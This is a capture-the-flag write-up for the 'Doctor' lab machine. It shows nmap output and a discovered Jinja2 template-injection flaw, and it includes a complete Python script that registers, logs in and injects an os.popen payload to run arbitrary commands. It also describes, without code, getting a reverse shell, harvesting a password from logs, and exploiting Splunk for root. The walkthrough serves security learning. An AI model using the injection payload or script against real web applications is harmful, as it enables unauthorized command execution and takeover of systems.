Jump Ahead: Enum – User – Root – Resources
TL;DR;
To solve this machine, we begin by enumerating open services – finding ports 80
, 8089
, and 22
open. Navigating to the webserver on port 80
, we find a website appearing to be hosted for healthcare providers. Looking around the site, we find a potential hostname. Navigating to the webserver again, using the hostname, we are presenting with a login form for “Doctor Secure Messaging”. After viewing the source code, we find a commented out link to /archive
. The /archive
is vulnerable to Server-Side Template Injection (SSTI), which we are able to exploit after we log in. Exploiting the SSTI, we get a reverse shell as web
. web
is a member of the adm
group, and after looking through logs, we are able to get the password for the shaun
user – getting user.txt
. Attempting to use shaun
‘s credentials on port 8089
, allows us access to splunk forwarders. Since splunk forwarders are running as root, we able able to use shaun
‘s access to exploit Remote Code Execution – getting a shell as root
, and reading root.txt
.
Enumeration
Like all machines, we begin by enumerating all open ports using nmap – finding ports 22
, 80
, and 8089
open.
$ sudo nmap v -p- -sV -A -oA enum/nmap/tcp-all-scripts 10.129.75.201
# Nmap 7.91 scan initiated Mon Jan 4 14:22:43 2021 as: nmap -v -p- -sV -A -oA enum/nmap/tcp-all-scripts 10.129.75.201
Nmap scan report for 10.129.75.201
Host is up (0.045s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
| 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open ssl/http Splunkd httpd
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-06T15:57:27
| Not valid after: 2023-09-06T15:57:27
| MD5: db23 4e5c 546d 8895 0f5f 8f42 5e90 6787
|_SHA-1: 7ec9 1bb7 343f f7f6 bdd7 d015 d720 6f6f 19e2 098b
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (92%), Linux 5.0 - 5.4 (91%), Linux 5.3 - 5.4 (91%), Linux 2.6.32 (91%), Linux 5.0 (90%), Linux 5.0 - 5.3 (90%), Linux 5.4 (90%), Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 25.839 days (since Wed Dec 9 18:17:38 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 45.51 ms 10.10.14.1
2 45.60 ms 10.129.75.201
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 4 14:25:24 2021 -- 1 IP address (1 host up) scanned in 161.89 seconds
Next, we run gobuster and nikto against the webserver on port 80
, however, they do not return anything of interest. Lastly, we take a look at port 8089
, as nmap also reveals this to be a webserver. Running gobuster and nikto against this port also does not reveal anything of immediate interest.
Getting User
Going to the webserver on port 80
reveals what appears to be a website for a doctors office.
While looking around the website, we find a potential domain name on the /departments.html
page – which we add to our /etc/hosts
file.
After trying to access the webserver using the newly discovered domain name, we are presented with a different website. What we are presented with is a login form for “Doctor Secure Messaging”. Next, we look at the source code to try to gain insight into what type of application platform it might be. In doing so, we find a commented reference to an archive feature that is in beta testing.
80
via DNS, and finding a hidden directoryNext, we attempt to navigate to http://doctors.htb/archive
, however, it’s a blank page. Since the page does have a title, and doesn’t show an error message or the like, we take a look at the source to see what is there. Doing so, we see XML and HTML tags. Since the page was documented as in beta, we move on as it may be used as part of another feature of the site.
Going back to the main page (where the login form is), we see links for “Forgot password?” and “Sign Up Now”. Since password reset will require knowledge/bruteforce of registered email addresses, we instead try creating an account. After doing so, we are forwarded to the home page, where we are given a few options – “New Message”, “Account”, and “Logout”.
Clicking the “Account” link takes us to a page where we can change our username and email address – nothing of much use at this time. Next, we check the “New Message” link, and try to create a post. Once we create a post, we check the previously found archive, since it would be reasonable that messages would be archived. Doing so, we see that our post title is reflected on the page (can only be seen via the source code).
Since the title is reflected into the archive, we can try various injections. The first we will try is template injection, since the archive seems be structured in some way. Since the post title is the potentially vulnerable field, we try placing {{7*7}}
in it. If the archive is vulnerable to template injection, we should see 49
reflected in it. After submitting the form, we do see 49
reflected.
Next, we identify the template engine as Jinja2
. For more information, see payloadsallthethings. Since the archive is vulnerable to Server-Side Template Injection (SSTI), we should now be able to exploit it to get a shell on the machine. For this, I used the opportunity to practice my python, so I wrote a script.
#!/usr/bin/env python3
##################################
# ssti-exploit.py by Khaotic
##################################
import re
import requests
import sys
email = "test@a.com"
user = "test"
passw = "test"
register = "http://doctors.htb/register"
login = "http://doctors.htb/login"
posturl = "http://doctors.htb/post/new"
readurl = "http://doctors.htb/archive"
if len(sys.argv) < 2:
print("Please supply a command")
sys.exit(1)
#create the account and session
rdata = {"username":user,"email":email,"password":passw,"confirm_password":passw,"submit":"Sign+Up"}
s = requests.Session()
s.post(register, data=rdata)
#login and get a usuable session token
ldata = {"email":email,"password":passw,"submit":"Login"}
s.post(login,data=ldata)
#run commands
cmd = " ".join(sys.argv[1:])
pdata = {"title":"{{config.__class__.__init__.__globals__['os'].popen('"+cmd+"').read()}}","content":"asdasda","submit":"Post"}
s.post(posturl,data=pdata)
#fetch command output
read = s.get(readurl).text
output = re.findall("<title>(.*?)</title>",read,re.DOTALL)
print(output[-1])
Using the script, I was able to get a reverse shell as the web
user using bash.
Having gotten a shell as a non-standard user, the first thing we do is look for user.txt
, however, it is owned by shaun
. Since we are in the adm
group, we have access to read most log files under /var/log/
. While looking at /var/log/apache2/backup
, we see what might be a password in a HTTP “GET” request. After trying the password with su as shaun
, we are given a new shell. We are now shaun
and can read user.txt
.
shaun
‘s password and reading user.txt
Getting Root
After getting a shell as shaun
, we continue with local enumeration running scripts such as LinPEAS, however, that doesn’t prove immediately fruitful. Remembering that Splunk is running on the box, we look a little closer at it, since it is a non-standard application. Taking a look around the /opt/forwarder
folder, we learn it is running version 8.05
. After some research on Spunk, we find this article, which suggests we may be able to exploit authenticated RCE. Within the article, it links to a tool that performs the exploit – PySplunkWhisperer2. From our initial nmap scan, we know that Splunk is listening on port 8089, so we can attempt to use the script. For our POC, we try to execute a download of a file named as the executing user. Since the exploit is authenticated, we need to use the only set of credentials we have – shaun
‘s.
Since the server attempts to download a file named root
, we know the application is vulnerable, and running as root
. Lastly, we can weaponize the exploit for a bash reverse shell. We get a reverse shell as root
, and can now read root.txt
.
root
, which allows access to root.txt
Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!